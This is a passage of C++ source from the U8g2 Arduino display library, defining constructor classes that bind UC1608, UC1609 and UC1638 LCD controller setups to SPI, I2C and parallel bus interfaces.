U8G2_UC1608_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_240X128_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_240X128_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_240X128_2_6800 : public U8G2 { public: U8G2_UC1608_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_2_8080 : public U8G2 { public: U8G2_UC1608_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_240X128_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_240X128_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_240X128_F_6800 : public U8G2 { public: U8G2_UC1608_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_F_8080 : public U8G2 { public: U8G2_UC1608_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_1_SW_I2C : public U8G2 { public: U8G2_UC1608_240X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_240X128_1_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_240X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_240X128_2_SW_I2C : public U8G2 { public: U8G2_UC1608_240X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_240X128_2_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_240X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_240X128_F_SW_I2C : public U8G2 { public: U8G2_UC1608_240X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_240X128_F_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_240X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_240X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1609_SLG19264_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1609_SLG19264_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1609_SLG19264_1_6800 : public U8G2 { public: U8G2_UC1609_SLG19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_1_8080 : public U8G2 { public: U8G2_UC1609_SLG19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1609_SLG19264_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1609_SLG19264_2_6800 : public U8G2 { public: U8G2_UC1609_SLG19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_2_8080 : public U8G2 { public: U8G2_UC1609_SLG19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1609_SLG19264_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1609_SLG19264_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1609_SLG19264_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1609_SLG19264_F_6800 : public U8G2 { public: U8G2_UC1609_SLG19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_F_8080 : public U8G2 { public: U8G2_UC1609_SLG19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1609_SLG19264_1_SW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1609_SLG19264_1_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1609_SLG19264_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1609_SLG19264_2_SW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1609_SLG19264_2_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1609_SLG19264_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1609_SLG19264_F_SW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1609_SLG19264_F_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1609_SLG19264_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1609_SLG19264_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_160X128_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1638_160X128_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_160X128_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_160X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_160X128_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_160X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_160X128_1_6800 : public U8G2 { public: U8G2_UC1638_160X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_160X128_1_8080 : public U8G2 { public: U8G2_UC1638_160X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, 